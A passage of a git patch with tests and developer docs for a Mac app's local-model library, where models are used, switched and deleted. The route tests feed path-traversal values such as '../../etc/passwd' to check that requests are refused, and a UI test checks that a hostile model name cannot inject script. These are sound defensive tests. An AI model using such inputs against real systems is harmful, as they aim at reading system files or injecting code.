'.lm-lib-label')).toEqual(['Qwen3.6 35B-A3B']); + expect(texts(page.body, '.lm-lib-tag .lm-tag')).toEqual(['Ready']); + expect(rowButtons(page)).toEqual(['Use', 'Delete']); + // No "Add a model" here: the job's own buttons offer another model. + expect(texts(page.body, '.lm-lib-foot button')).toEqual([]); + pressIn(page, '.lm-lib-row', 'Use'); + await settle(); + expect(verbs(app)).toEqual([['POST', '/api/local-model/use', { modelId: 'qwen3.6:35b-a3b' }]]); + } + }); + + it('a first job that stopped has nothing to go back to, and shows no list', async () => { + const page = mount(); + // Its own model is on disk and checked, with nothing offered on it: Resume goes on with it. + await opened(page, status({}, { ...PAUSED.install, library: [{ ...QWEN_ROW, active: false }] })); + expect(page.body.querySelector('.lm-library')).toBeNull(); + expect(page.body.dataset.long).toBe('false'); + const stopped = mount(); + await opened(stopped, failed('load-failed', { model: 'Qwen3.6 35B-A3B' })); + expect(stopped.body.querySelector('.lm-library')).toBeNull(); + }); + + it('a paused switch says so, and waits', async () => { + const page = mount(); + await opened( + page, + status({}, { ...PAUSED.install, step: 'verify', steps: ['verify', 'connect'], progress: undefined }) + ); + expect(texts(page.body, '.lm-title')).toEqual(['The switch to Qwen3.6 35B-A3B is paused']); + expect(texts(page.body, '.lm-aside')).toEqual(['The switch waits until you continue.']); + expect(page.body.querySelector('.lm-meter')).toBeNull(); + }); + + it('the App Settings row names a switch as a switch', async () => { + const page = mount(); + const job = { ...JOB, steps: ['verify', 'connect'] as LocalModelInstallView['steps'], step: 'verify' as const }; + for (const [state, text] of [ + ['installing', 'Switching to Qwen3.6 35B-A3B'], + ['paused', 'The switch to Qwen3.6 35B-A3B is paused'], + ['failed', 'The switch to Qwen3.6 35B-A3B stopped'], + ] as const) { + const app = page.newApp(ok(status({}, { ...job, state, actions: [] }))); + await app.loadLocalModel({ force: true }); + expect(texts(page.row, '.set-row-label')).toEqual([text]); + } + }); +}); + +describe('what an earlier Remove left on disk', () => { + const LEFT = status({}, { store: STORE_ONE, actions: ['install', 'remove'] }); + + it('the chooser says what the downloads still take, and deletes them after one question', async () => { + const page = mount(); + const { app } = await opened(page, LEFT, () => ok(install({ store: { bytes: 0, gb: '0.0' } }))); + expect(texts(page.body, '.lm-leftovers .lm-aside')).toEqual([ + 'Models from an earlier install still use 23.1 GB on this Mac.', + ]); + pressIn(page, '.lm-leftovers', 'Delete them'); + await settle(); + expect(verbs(app)).toEqual([]); + expect(texts(page.body, '.lm-leftovers .lm-lead')).toEqual(['Delete the downloaded models from this Mac?']); + expect(texts(page.body, '.lm-leftovers .lm-lib-ask .lm-aside')).toEqual(['This frees 23.1 GB.']); + expect(page.body.querySelector('.lm-leftovers .wt-btn-danger')!.textContent).toBe('Delete'); + pressIn(page, '.lm-leftovers', 'Cancel'); + await settle(); + expect(texts(page.body, '.lm-leftovers button')).toEqual(['Delete them']); + pressIn(page, '.lm-leftovers', 'Delete them'); + await settle(); + pressIn(page, '.lm-leftovers', 'Delete'); + await settle(); + expect(verbs(app)).toEqual([['DELETE', '/api/local-model', { removeModel: true }]]); + expect(page.body.querySelector('.lm-leftovers')).toBeNull(); + // Still the chooser: installing is what this screen is for. + expect(page.body.dataset.screen).toBe('choose'); + expect(buttons(page.body)).toEqual(['Install on this Mac']); + }); + + it('is not there without something on disk, or without the server offering the removal', async () => { + for (const first of [ + IDLE, + status({}, { store: { bytes: 0, gb: '0.0' }, actions: ['install', 'remove'] }), + status({}, { store: STORE_ONE, actions: ['install'] }), + ]) { + const page = mount(); + await opened(page, first); + expect(page.body.querySelector('.lm-leftovers')).toBeNull(); + } + }); + + it('shows on a Mac no model fits too: the space can still be freed', async () => { + const page = mount(); + const answer = none('memory'); + await opened(page, { ...answer, install: install({ store: STORE_ONE, actions: ['remove'] }) }); + expect(page.body.dataset.screen).toBe('none'); + expect(texts(page.body, '.lm-leftovers .lm-aside')).toEqual([ + 'Models from an earlier install still use 23.1 GB on this Mac.', + ]); + }); +}); + +describe('the models on this Mac: text of someone else, another language, an unchanged answer', () => { + it('a model name is text, in the row, in its question and in the labels of its buttons', async () => { + const HOSTILE = ''; + const page = mount(); + const rows: LocalModelLibraryRow[] = [QWEN_ROW, { ...GPT_ROW, id: `evil:1b`, label: `Model ${HOSTILE}` }]; + await opened(page, status({}, { ...TWO.install, library: rows, folder: `/tmp/${HOSTILE}` })); + pressIn(page, '.lm-lib-row', 'Delete'); + await settle(); + expect(page.document.querySelectorAll('img, script, iframe')).toHaveLength(0); + expect((page.win as unknown as { __pwned?: number }).__pwned).toBeUndefined(); + expect(texts(page.body, '.lm-lib-ask .lm-lead')).toEqual([`Delete Model ${HOSTILE} from this Mac?`]); + }); + + it('is translated when the language changes, the names staying as sent', async () => { + const page = mount({ i18n: true }); + page.win.CodemanI18n.start(); + await opened(page, TWO); + page.win.CodemanI18n.configure({ language: 'zh-CN' }); + await settle(); + expect(texts(page.body, '.lm-lib-caption-label')).toEqual(['此 Mac 上的模型']); + expect(texts(page.body, '.lm-lib-tag .lm-tag')).toEqual(['使用中', '就绪']); + expect(rowButtons(page)).toEqual(['使用', '删除']); + expect(texts(page.body, '.lm-lib-label')).toEqual(['Qwen3.6 35B-A3B', 'GPT-OSS 20B']); + expect(texts(page.body, '.lm-lib-notes .lm-aside')).toEqual(['已下载的模型在此 Mac 上占用 36.9 GB。']); + expect(texts(page.body, '.lm-lib-foot button')).toEqual(['添加模型']); + }); + + it('a poll that changes nothing leaves the rows and their buttons in place', async () => { + const page = mount(); + await opened(page, TWO); + const before = page.body.querySelector('.lm-lib-row .lm-lib-actions button'); + await page.tick(); + await page.tick(); + expect(page.body.querySelector('.lm-lib-row .lm-lib-actions button')).toBe(before); + }); + + it('the focus stays on the row button it was on when the list is repainted', async () => { + const page = mount(); + const { app, serve } = await opened(page, TWO); + const remove = [...page.body.querySelectorAll('.lm-lib-row .lm-lib-actions button')][1]; + remove.focus(); + serve(status({}, { ...TWO.install, store: { bytes: 36899240384, gb: '36.9' }, port: 11436 })); + await app.loadLocalModel({ force: true }); + const active = page.document.activeElement as HTMLElement; + expect(active.textContent).toBe('Delete'); + expect(active.dataset.lmKey).toBe('delete:gpt-oss:20b'); + expect(active).not.toBe(remove); + }); +}); diff --git a/test/routes/local-model-routes.test.ts b/test/routes/local-model-routes.test.ts index 11ecb3547..ac59b8b67 100644 --- a/test/routes/local-model-routes.test.ts +++ b/test/routes/local-model-routes.test.ts @@ -155,6 +155,7 @@ const IDLE_VIEW: LocalModelInstallView = { developerTools: 'missing', runtime: { version: '0.40.15', installed: false, downloadBytes: 185971671, downloadGb: '0.2', unpackedGb: '0.6' }, folder: '/Users/me/.codeman/local-model', + library: [], actions: ['install'], }; @@ -182,6 +183,8 @@ function fakeService(): ServiceMock { launchRefusalMessage: vi.fn(async () => undefined), recommendOptions: vi.fn(async () => ({ runtimeDownloadBytes: 185971671 })), install: vi.fn(async () => OK_RESULT), + use: vi.fn(async () => OK_RESULT), + deleteLibraryModel: vi.fn(async () => OK_RESULT), cancel: vi.fn(async () => OK_RESULT), resume: vi.fn(async () => OK_RESULT), runtime: vi.fn(async () => OK_RESULT), @@ -555,6 +558,13 @@ describe('the install verbs', () => { /** Every verb as a request, with a body the route accepts. */ const VERBS = [ { name: 'install', method: 'POST', url: '/api/local-model/install', payload: INSTALL_BODY }, + { name: 'use', method: 'POST', url: '/api/local-model/use', payload: { modelId: 'qwen3.8:27b' } }, + { + name: 'deleteLibraryModel', + method: 'DELETE', + url: '/api/local-model/models', + payload: { modelId: 'qwen3.8:27b' }, + }, { name: 'cancel', method: 'POST', url: '/api/local-model/cancel', payload: undefined }, { name: 'resume', method: 'POST', url: '/api/local-model/resume', payload: {} }, { name: 'runtime', method: 'POST', url: '/api/local-model/runtime', payload: { action: 'stop' } }, @@ -654,7 +664,18 @@ describe('the install verbs', () => { const f = fakes(); const { app } = await harness(f.deps, { username: 'alice', role: 'admin' }); await app.inject({ method: 'POST', url: '/api/local-model/install', payload: INSTALL_BODY }); - expect(f.service.install).toHaveBeenCalledWith(INSTALL_BODY, { username: 'alice', ip: '127.0.0.1' }); + expect(f.service.install).toHaveBeenCalledWith(INSTALL_BODY, { username: 'alice', ip: '127.0.0.1' }, []); + }); + + it('hands the service the names of the live sessions on the model: another model would take the runtime from them', async () => { + const f = fakes(); + const { app } = await harness(f.deps, undefined, [ + { name: 'w1-app', customModel: { endpointId: 'local-ollama' } }, + { name: 'w2-app' }, + { name: 'w3-lib', customModel: { endpointId: 'office-gpu' } }, + ]); + await app.inject({ method: 'POST', url: '/api/local-model/install', payload: INSTALL_BODY }); + expect(f.service.install.mock.calls[0][2]).toEqual(['w1-app']); }); it('a row the server does not offer is a 400 with the service own sentence, as text and as data', async () => { @@ -925,6 +946,177 @@ describe('the install verbs', () => { }); }); +describe('the library verbs', () => { + const SESSIONS: SessionLike[] = [ + { name: 'w1-app', customModel: { endpointId: 'local-ollama' } }, + { name: 'w2-app' }, + { name: 'w3-lib', customModel: { endpointId: 'office-gpu' } }, + ]; + + describe('POST /api/local-model/use', () => { + it('hands the service the model, who asked and the live sessions on the model', async () => { + const f = fakes(); + const { app } = await harness(f.deps, { username: 'alice', role: 'admin' }, SESSIONS); + await app.inject({ method: 'POST', url: '/api/local-model/use', payload: { modelId: 'gpt-oss:20b' } }); + expect(f.service.use).toHaveBeenCalledWith({ modelId: 'gpt-oss:20b' }, { username: 'alice', ip: '127.0.0.1' }, [ + 'w1-app', + ]); + }); + + it('a model that is not one of the checked ones is a 400 with the sentence, as text and as data', async () => { + const f = fakes(); + f.service.use.mockResolvedValue({ + ok: false, + status: 400, + message: { text: LOCAL_MODEL_INSTALL_LABELS.refusedNotInLibrary }, + }); + const { app } = await harness(f.deps); + const res = await app.inject({ method: 'POST', url: '/api/local-model/use', payload: { modelId: 'x:1b' } }); + expect(res.statusCode).toBe(400); + expect(res.json()).toEqual({ + success: false, + error: 'This model is not one of the checked models on this Mac.', + errorCode: 'INVALID_INPUT', + data: { message: { text: 'This model is not one of the checked models on this Mac.' } }, + }); + }); + + it.each([ + ['no body', undefined], + ['no model', {}], + ['a path', { modelId: '../../etc/passwd' }], + ['another registry', { modelId: 'hf.co/someone/model:Q4' }], + ['a member it does not know', { modelId: 'gpt-oss:20b', context: 65536 }], + ])('refuses %s before the service is asked', async (_name, payload) => { + const f = fakes(); + const { app } = await harness(f.deps); + const res = await app.inject({ method: 'POST', url: '/api/local-model/use', ...(payload ? { payload } : {}) }); + expect(res.statusCode).toBe(400); + expect(f.service.use).not.toHaveBeenCalled(); + }); + }); + + describe('DELETE /api/local-model/models', () => { + it('hands the service the model name and who asked', async () => { + const f = fakes(); + const { app } = await harness(f.deps, { username: 'alice', role: 'admin' }); + await app.inject({ method: 'DELETE', url: '/api/local-model/models', payload: { modelId: 'gpt-oss:20b' } }); + expect(f.service.deleteLibraryModel).toHaveBeenCalledWith( + { modelId: 'gpt-oss:20b' }, + { username: 'alice', ip: '127.0.0.1' } + ); + // The whole installation is another route: it was not asked. + expect(f.service.remove).not.toHaveBeenCalled(); + }); + + it.each([ + ['no body', undefined], + ['a path', { modelId: '/Users/me/.codeman/local-model/models' }], + ['a path that climbs', { modelId: '../../etc/passwd' }], + ['a name with a slash', { modelId: 'library/qwen3.8:27b' }], + ['a name without a tag', { modelId: 'qwen3.8' }], + ['a path member', { modelId: 'gpt-oss:20b', path: '/' }], + ])('takes a model name and nothing else: refuses %s', async (_name, payload) => { + const f = fakes(); + const { app } = await harness(f.deps); + const res = await app.inject({ + method: 'DELETE', + url: '/api/local-model/models', + ...(payload ? { payload } : {}), + }); + expect(res.statusCode).toBe(400); + expect(f.service.deleteLibraryModel).not.toHaveBeenCalled(); + }); + + it('the model in use: 409 with the reason and the sentence', async () => { + const f = fakes(); + f.service.deleteLibraryModel.mockResolvedValue({ + ok: false, + status: 409, + conflict: { + reason: 'model-active', + message: { text: LOCAL_MODEL_INSTALL_LABELS.conflictModelActive, vars: { model: 'Qwen3.8 27B' } }, + }, + }); + const { app } = await harness(f.deps); + const res = await app.inject({ + method: 'DELETE', + url: '/api/local-model/models', + payload: { modelId: 'qwen3.8:27b' }, + }); + expect(res.statusCode).toBe(409); + expect(res.json()).toEqual({ + success: false, + error: 'Qwen3.8 27B is the model in use. Switch to another model first, or remove the local model.', + errorCode: 'CONFLICT', + data: { + reason: 'model-active', + message: { + text: '{model} is the model in use. Switch to another model first, or remove the local model.', + vars: { model: 'Qwen3.8 27B' }, + }, + }, + }); + }); + + it('a runtime that did not delete it: 500 with the sentence, as text and as data', async () => { + const f = fakes(); + f.service.deleteLibraryModel.mockResolvedValue({ + ok: false, + status: 500, + message: { text: LOCAL_MODEL_INSTALL_LABELS.deleteFailed, vars: { model: 'GPT-OSS 20B' } }, + }); + const { app } = await harness(f.deps); + const res = await app.inject({ + method: 'DELETE', + url: '/api/local-model/models', + payload: { modelId: 'gpt-oss:20b' }, + }); + expect(res.statusCode).toBe(500); + expect(res.json()).toEqual({ + success: false, + error: 'GPT-OSS 20B could not be deleted from this Mac.', + errorCode: 'OPERATION_FAILED', + data: { message: { text: '{model} could not be deleted from this Mac.', vars: { model: 'GPT-OSS 20B' } } }, + }); + }); + }); + + describe('GET /api/local-model marks the rows that are already on this Mac', () => { + it('the model in use and a model a switch can take, at the context they were checked with', async () => { + const second = { ...OK.pick!, modelId: 'gpt-oss:20b', modelLabel: 'GPT-OSS 20B', context: 65536 }; + const third = { ...OK.pick!, modelId: 'mimo-v2.6:9b-q4_k_m', modelLabel: 'MiMo V2.6 9B' }; + const f = fakes(MAC, { ...OK, alternatives: [second, third] }); + const row = (id: string, context: number, active: boolean) => ({ + id, + label: id, + context, + active, + verified: true, + status: 'ready' as const, + actions: active ? [] : ['use' as const], + }); + f.service.view.mockResolvedValue({ + ...IDLE_VIEW, + state: 'installed', + library: [row(OK.pick!.modelId, OK.pick!.context, true), row('gpt-oss:20b', 65536, false)], + actions: ['start-session', 'stop', 'install', 'use', 'remove'], + }); + const data = (await get(f.deps)).json().data; + expect(data.recommendation.pick.library).toBe('active'); + expect(data.recommendation.alternatives[0].library).toBe('ready'); + expect(data.recommendation.alternatives[1]).not.toHaveProperty('library'); + // What recommend() answered is not written to. + expect(OK.pick).not.toHaveProperty('library'); + }); + + it('with nothing on this Mac no row carries the mark', async () => { + const data = (await get(fakes().deps)).json().data; + expect(data.recommendation.pick).not.toHaveProperty('library'); + }); + }); +}); + describe('the routes over the real install service', () => { const STATE = () => dataPath('local-model.json'); From 2f17b8067a2ef128b22f1a511ede8788c922bc6d Mon Sep 17 00:00:00 2001 From: Codeman maintainer Date: Tue, 10 Nov 2026 23:52:14 +0100 Subject: [PATCH 02/11] docs(local-model): the models on this Mac, add, switch and delete The guide, the API reference, the invariants and the two CLAUDE files describe the library with one model in use: the state file's list, the three verbs and their refusals, the two cached listings of the view, and the window's list with its row actions. Co-Authored-By: Claude Fable 5.2 --- CLAUDE.md | 4 +- docs/api-reference.md | 27 +++++---- docs/architecture-invariants.md | 10 +++- docs/local-models.md | 91 +++++++++++++++++++++++++---- docs/wiki/Custom-Model-Endpoints.md | 5 ++ src/web/CLAUDE.md | 2 +- 6 files changed, 114 insertions(+), 25 deletions(-) diff --git a/CLAUDE.md b/CLAUDE.md index 245016ee7..7019f4a08 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -194,7 +194,7 @@ Codeman is a Claude Code session manager with web interface and autonomous Ralph **Local model recommendation** (`GET /api/local-model`, `src/local-model/`, `src/config/local-model-catalog.ts`, `src/types/local-model.ts`; EXPERIMENTAL): the server looks at the Mac it runs on and says which local coding model fits it and with which agent CLI. ⚠️ The READ side stays read-only: the probe, the catalogue and `recommend()` download nothing, install nothing and write nothing; everything that changes the machine is the install below, behind an explicit request. Apple silicon macOS only: anywhere else the answer is a `200` with verdict `none` (reasons `not-macos`, `intel`, `memory`, `disk`, `macos`, `no-harness`), and a failed probe is an answer, never a 500. The probe (`hardware.ts`) is ONE bounded async spawn of `/usr/sbin/sysctl` WITHOUT `-n`, parsed as `key: value` lines by the pure `parseSysctl()`, plus `statfs` of the data dir (probed bounded first, #516) and `node:os` fallbacks, cached 60 s; ⚠️ never `system_profiler`, never a second spawn, and `iogpu.wired_limit_mb` of 0 means not set. The catalogue is a compiled constant validated by a Zod schema: ⚠️ no override file and no runtime data, and a model id is `name:tag` in lowercase with no slash (`LOCAL_MODEL_ID_PATTERN`, so an id can never name another registry host). ⚠️ A harness is a catalogue ROW (`{ cli, minContext, rank, gated?, slowFirstTurn? }`) plus a `HarnessFact` built from the CLI registry at call time (`harness-facts.ts`); no code compares a CLI id (both id-branching guards scan these files). `recommend()` (`recommend.ts`) is pure. ⚠️ A model's need is its PEAK (`bytes + heldBytesPerToken * context + overheadBytes + peakExtraBytes`, measured on a Mac for one row and marked `estimated` on the others), and every row names its `runner` (`mlx` or `llamacpp`, the build a Mac really pulls) and carries figures of its OWN: computed from its model's config.json by that runner's rule (catalogue header, MEMORY), never borrowed from another row; `test/local-model-catalog.test.ts` recomputes them, and the `llamacpp` rows assume the runtime's `OLLAMA_KV_CACHE_TYPE=q8_0`, `LLAMA_ARG_CACHE_RAM=1024` and `LLAMA_ARG_CTX_CHECKPOINTS=8` (`runtimeEnv()`) and count what llama-server keeps beside the cache (8 context checkpoints of the recurrent or sliding-window state, and for a GGUF with a prediction layer one rollback copy of the recurrent state per drafted token and that layer's cache in f16), so change the two together. The need is judged against a budget that is `estimated` until the runtime ran and `measured` from then on (`RecommendOptions.measuredTotalBytes`). ⚠️ Ranking, lexicographic: tested on a Mac like this first, then speed `ok` before `unknown` before `slow`, then model rank, harness rank, larger context; the fit grade decides whether a row is listed and what it says, it does NOT sort, so a model is offered at the largest context it fits at. ⚠️ `limited` is a statement about the MAC (no model with 12 billion parameters or more fits), judged before the disk filter and whatever the pick is; a small pick under `ok` carries `noteSmallPick`, and a model left out for disk space is named in `noteDiskDropped`, never dropped in silence. ⚠️ The word "Recommended" exists only in `headlineTested`, and the tag "Tested on a Mac like this" only on a row whose model has a `tested` entry for exactly this chip, memory size and harness. ⚠️ Speed is `ok`/`slow`/`unknown`, graded on the unrounded figure, and a chip in no chips row is `unknown`: never guess a bandwidth. ⚠️ ONE unit for every computed size a person reads: decimal GB text from `formatGb()` (`format.ts`), sent beside the bytes, and the browser never divides bytes; the one exception is the installed memory, shown as `memClassGb` (the size the Mac is sold as, 48 and not 51.5). ⚠️ Every sentence the server chooses is a `LOCAL_MODEL_LABELS`, `LOCAL_MODEL_TAG_LABELS` or `LOCAL_MODEL_INSTALL_LABELS` text with `{placeholder}` slots filled from `vars` (no apostrophe in a text: the zh-CN key is single-quoted), and each needs a zh-CN entry. Admin only in multi-user mode (403 before anything is probed). Tests: `test/local-model-*.test.ts`, `test/routes/local-model-routes.test.ts`. Window rules: `src/web/CLAUDE.md` (Run a model on this Mac). → `docs/api-reference.md` (Local model), `docs/versioning-policy.md` -**Local model install** (`POST /api/local-model/install|cancel|resume|runtime`, `DELETE /api/local-model`; `src/local-model/{install-job,runtime,ollama-client,connect,state-store,paths,developer-tools}.ts`; EXPERIMENTAL, admin only in multi-user mode on EVERY verb; guide `docs/local-models.md`): installs the chosen model on the Mac the server runs on and ends on a session of the coding agent running on it. ONE job of five idempotent steps (`runtime`, `model`, `verify`, `agent`, `connect`; `agent` only when the coding agent is missing), a pure reducer (`reduceInstallJob()`) over three tables in `install-job.ts` driven by one service per process (`getLocalModelService()`); the window polls the GET once a second, no SSE event. ⚠️ Layout only through `localModelPaths()` (all `dataPath()`): `local-model/runtime/ollama-/`, `local-model/models/`, `local-model/home/` (the runtime's PRIVATE HOME, so the user's `~/.ollama` is never touched) and the state file `local-model.json` (0600, ONE serialized writer, total reader, holds NO path); nothing is written or deleted outside `local-model/` except that file and the two writes of the connect step. ⚠️ The runtime pin (`OLLAMA_RUNTIME_PIN`: version, URL, size, sha256) is a COMPILED constant no file, setting or request may supply; the hash is compared BEFORE anything is unpacked. ⚠️ The runtime is a NON-detached child whose environment comes from the `runtimeEnv()` ALLOWLIST, never `process.env` (no `CODEMAN_*`, none of the user's `OLLAMA_*`); the port is chosen ONCE by binding (from 11435, never 11434) and stored; a listener on it is adopted or replaced only when its stored pid runs a binary under OUR runtime folder, anything else is `port-in-use`; started at boot when installed and enabled, max 3 restarts, SIGTERM at shutdown beside `stopDeepSeekWeb()`; under vitest nothing spawns or fetches. ⚠️ Consent is bound to the size: `acknowledgedBytes` must equal the server's own total (`Candidate.installBytes`) or the answer is 409 `size-changed`; the model, context and CLI must be a row the current recommendation offers (400). ⚠️ ONE job at a time (409 `job-running`); a job a restart interrupted comes back `paused` and NEVER continues without a click (so `shutdown()` writes nothing), and an interrupted step is never recorded as failed. ⚠️ An event the transition table does not list is refused (same object back, 409 `wrong-state`): add a row to the table, never a special case. ⚠️ The budget is MEASURED from the runtime's "inference compute" log line and the model judged against it BEFORE it is downloaded. ⚠️ The pull stream is parsed incrementally (about 1.4 million lines for 23 GB): never buffer it, never write state per line. ⚠️ A failure is a code with ONE next step (`LOCAL_MODEL_ERROR_NEXT`), never a bare "failed"; a probe that ended on its token limit is `probe-unfinished`, not `no-tool-call`. ⚠️ The coding agent is installed through the shared runner `src/cli-install-runner.ts` (extracted from `cli-registry-routes.ts`, ONE install slot per CLI for both callers) with `stockInstallCommand()`, the COMPILED stock command, never the `clis.json`-merged one (this path has no `cliManagementEnabled` gate); only for a catalogue harness row, after the consent click that showed the literal command, audited (`cli_install`, `via: 'local-model'`); afterwards `forgetResolvedCli()` and a fresh lookup, and still missing is `harness-failed`. ⚠️ Connect writes ONE endpoint record under the RESERVED id `local-ollama` through `mutateCustomModelHosts()` and `customModelEndpointsEnabled: true` through `mutateSettingsFile()`, remembering the flag's first value; a record with that id that is not ours is never overwritten, and while it is ours it is MANAGED: the endpoint routes refuse to edit or delete it and the discovery sweep skips it (the runtime's port has no login, so its `models` must stay the one model that was checked). ⚠️ The model digest is stored and read again at boot and before every START of a coding agent on that endpoint (`launchRefusalMessage()`): the two custom-model launch routes in `session-routes.ts` ask it before anything is written, the reboot-restore rebuild asks it before it builds (reason `local-model-not-ready`, left on offer), and `Session`'s launch guard (`setLaunchGuard()`, set in `setupSessionListeners()`) asks it right before a NEW agent process starts (a fresh pane, the respawn of a dead one, `restartCli()`), never for an attach to an agent that runs; a refusal is a `LaunchRefusedError` that never falls back to a direct PTY. A changed or missing model, a runtime Codeman did not start or that did not start, or another model id refuses the launch with one sentence. ⚠️ The connection is CLAIMED in the state file (`connection`, with the flag's value read by `inspectLocalEndpoint()`) BEFORE the endpoint record and the settings flag are written, so a state write that fails or a kill between the two never leaves a record the state file does not know; a record under the reserved id that says exactly what ours would say is ours (`isSameLocalEndpoint()`). ⚠️ A job whose end could not be written (a full disk) is kept in memory (`unrecorded`): the view shows it, the next verb writes it, and `installing` in the file while this process runs no job always reads as `paused` or that failure, never as a running job. ⚠️ The runtime's pid is stored the moment it is spawned, and Stop, Remove and the boot of anything that is not a running installation end a runtime an earlier server left behind (`supervisor.stop({ previousPid })`, ours by its command line) before any file is deleted; an installed model keeps the runtime VERSION it was installed with while that folder is unpacked, and a start that fails shows as `runtime-start-failed` with Start as the next step. Stop and "Use another port" answer 409 `sessions-open` while a live session uses the model. ⚠️ Remove (409 `sessions-open` with the names while a live session uses the endpoint) undoes the connection FIRST, restores the flag only when this feature switched it on AND no other endpoint is saved, deletes only inside `local-model/` (the models only when asked), and leaves the coding agent. ⚠️ Developer tools: only `/usr/bin/xcode-select -p`, bounded; never `git`/`python3`/`xcrun` from the server (each opens a system window on such a Mac). Tests: `test/local-model-install-job.test.ts` (every state with every event), `-install-service`, `-install-e2e` (real modules over `test/fixtures/fake-ollama.ts`), `-state-store`, `-connect`, `test/cli-install-runner.test.ts`, `test/custom-model-hosts-writer.test.ts`, `test/routes/local-model-routes.test.ts`, `test/routes/local-model-launch-guard.test.ts`. → [architecture-invariants#local-model-install](docs/architecture-invariants.md#local-model-install), `docs/local-models.md`, `docs/api-reference.md` (Local model) +**Local model install** (`POST /api/local-model/install|use|cancel|resume|runtime`, `DELETE /api/local-model`, `DELETE /api/local-model/models`; `src/local-model/{install-job,runtime,ollama-client,connect,state-store,paths,developer-tools}.ts`; EXPERIMENTAL, admin only in multi-user mode on EVERY verb; guide `docs/local-models.md`): installs the chosen model on the Mac the server runs on and ends on a session of the coding agent running on it. ONE job of five idempotent steps (`runtime`, `model`, `verify`, `agent`, `connect`; `agent` only when the coding agent is missing), a pure reducer (`reduceInstallJob()`) over three tables in `install-job.ts` driven by one service per process (`getLocalModelService()`); the window polls the GET once a second, no SSE event. ⚠️ A LIBRARY with ONE model in use: the store may hold several models and `LocalModelStateFile.library` lists the ones that passed the check (written by the service when `verify` passes, carried by the reducer, dropped by `remove`; an `installed` file without it counts its one model, `libraryOf()`), but the endpoint record lists ONE model, the runtime holds one and only the state's model is ever launched: never widen the record to every checked model. `install` from `installed` adds a model (the earlier one stays: `replacedModelFor()` never names a library model), `use` switches to a checked one (a job of `USE_JOB_STEPS`, `verify` then `connect`; the stored digest is compared before anything is loaded, else `model-changed`), and both answer 409 `sessions-open` while a live session uses the endpoint; until such a job ends `installed`, no session starts (`launchRefusal()` answers `job-unfinished`). `DELETE /api/local-model/models` deletes ONE model by its NAME (`LOCAL_MODEL_ID_PATTERN`, never a path), only a name of the server's own listing, only through the runtime's own delete, never the model of the installation or of the current job (409 `model-active`), and it is no reducer event: its row is the `delete-model` action of `INSTALL_STATE_TABLE`. ⚠️ The view's `library` (state entries joined with the runtime's `/api/tags`: `ready`, `changed`, `missing`, `unverified`) and `store` (the blob folder's size, `measureModelStore()`) are cached (5 s, 30 s), refreshed in the background and thrown away by every verb and step that changes them (`forgetStore()`): never ask the runtime or the disk on the one-second poll, and a runtime that does not answer keeps the last list. ⚠️ Layout only through `localModelPaths()` (all `dataPath()`): `local-model/runtime/ollama-/`, `local-model/models/`, `local-model/home/` (the runtime's PRIVATE HOME, so the user's `~/.ollama` is never touched) and the state file `local-model.json` (0600, ONE serialized writer, total reader, holds NO path); nothing is written or deleted outside `local-model/` except that file and the two writes of the connect step. ⚠️ The runtime pin (`OLLAMA_RUNTIME_PIN`: version, URL, size, sha256) is a COMPILED constant no file, setting or request may supply; the hash is compared BEFORE anything is unpacked. ⚠️ The runtime is a NON-detached child whose environment comes from the `runtimeEnv()` ALLOWLIST, never `process.env` (no `CODEMAN_*`, none of the user's `OLLAMA_*`); the port is chosen ONCE by binding (from 11435, never 11434) and stored; a listener on it is adopted or replaced only when its stored pid runs a binary under OUR runtime folder, anything else is `port-in-use`; started at boot when installed and enabled, max 3 restarts, SIGTERM at shutdown beside `stopDeepSeekWeb()`; under vitest nothing spawns or fetches. ⚠️ Consent is bound to the size: `acknowledgedBytes` must equal the server's own total (`Candidate.installBytes`) or the answer is 409 `size-changed`; the model, context and CLI must be a row the current recommendation offers (400). ⚠️ ONE job at a time (409 `job-running`); a job a restart interrupted comes back `paused` and NEVER continues without a click (so `shutdown()` writes nothing), and an interrupted step is never recorded as failed. ⚠️ An event the transition table does not list is refused (same object back, 409 `wrong-state`): add a row to the table, never a special case. ⚠️ The budget is MEASURED from the runtime's "inference compute" log line and the model judged against it BEFORE it is downloaded. ⚠️ The pull stream is parsed incrementally (about 1.4 million lines for 23 GB): never buffer it, never write state per line. ⚠️ A failure is a code with ONE next step (`LOCAL_MODEL_ERROR_NEXT`), never a bare "failed"; a probe that ended on its token limit is `probe-unfinished`, not `no-tool-call`. ⚠️ The coding agent is installed through the shared runner `src/cli-install-runner.ts` (extracted from `cli-registry-routes.ts`, ONE install slot per CLI for both callers) with `stockInstallCommand()`, the COMPILED stock command, never the `clis.json`-merged one (this path has no `cliManagementEnabled` gate); only for a catalogue harness row, after the consent click that showed the literal command, audited (`cli_install`, `via: 'local-model'`); afterwards `forgetResolvedCli()` and a fresh lookup, and still missing is `harness-failed`. ⚠️ Connect writes ONE endpoint record under the RESERVED id `local-ollama` through `mutateCustomModelHosts()` and `customModelEndpointsEnabled: true` through `mutateSettingsFile()`, remembering the flag's first value; a record with that id that is not ours is never overwritten, and while it is ours it is MANAGED: the endpoint routes refuse to edit or delete it and the discovery sweep skips it (the runtime's port has no login, so its `models` must stay the one model that was checked). ⚠️ The model digest is stored and read again at boot and before every START of a coding agent on that endpoint (`launchRefusalMessage()`): the two custom-model launch routes in `session-routes.ts` ask it before anything is written, the reboot-restore rebuild asks it before it builds (reason `local-model-not-ready`, left on offer), and `Session`'s launch guard (`setLaunchGuard()`, set in `setupSessionListeners()`) asks it right before a NEW agent process starts (a fresh pane, the respawn of a dead one, `restartCli()`), never for an attach to an agent that runs; a refusal is a `LaunchRefusedError` that never falls back to a direct PTY. A changed or missing model, a runtime Codeman did not start or that did not start, or another model id refuses the launch with one sentence. ⚠️ The connection is CLAIMED in the state file (`connection`, with the flag's value read by `inspectLocalEndpoint()`) BEFORE the endpoint record and the settings flag are written, so a state write that fails or a kill between the two never leaves a record the state file does not know; a record under the reserved id that says exactly what ours would say is ours (`isSameLocalEndpoint()`). ⚠️ A job whose end could not be written (a full disk) is kept in memory (`unrecorded`): the view shows it, the next verb writes it, and `installing` in the file while this process runs no job always reads as `paused` or that failure, never as a running job. ⚠️ The runtime's pid is stored the moment it is spawned, and Stop, Remove and the boot of anything that is not a running installation end a runtime an earlier server left behind (`supervisor.stop({ previousPid })`, ours by its command line) before any file is deleted; an installed model keeps the runtime VERSION it was installed with while that folder is unpacked, and a start that fails shows as `runtime-start-failed` with Start as the next step. Stop and "Use another port" answer 409 `sessions-open` while a live session uses the model. ⚠️ Remove (409 `sessions-open` with the names while a live session uses the endpoint) undoes the connection FIRST, restores the flag only when this 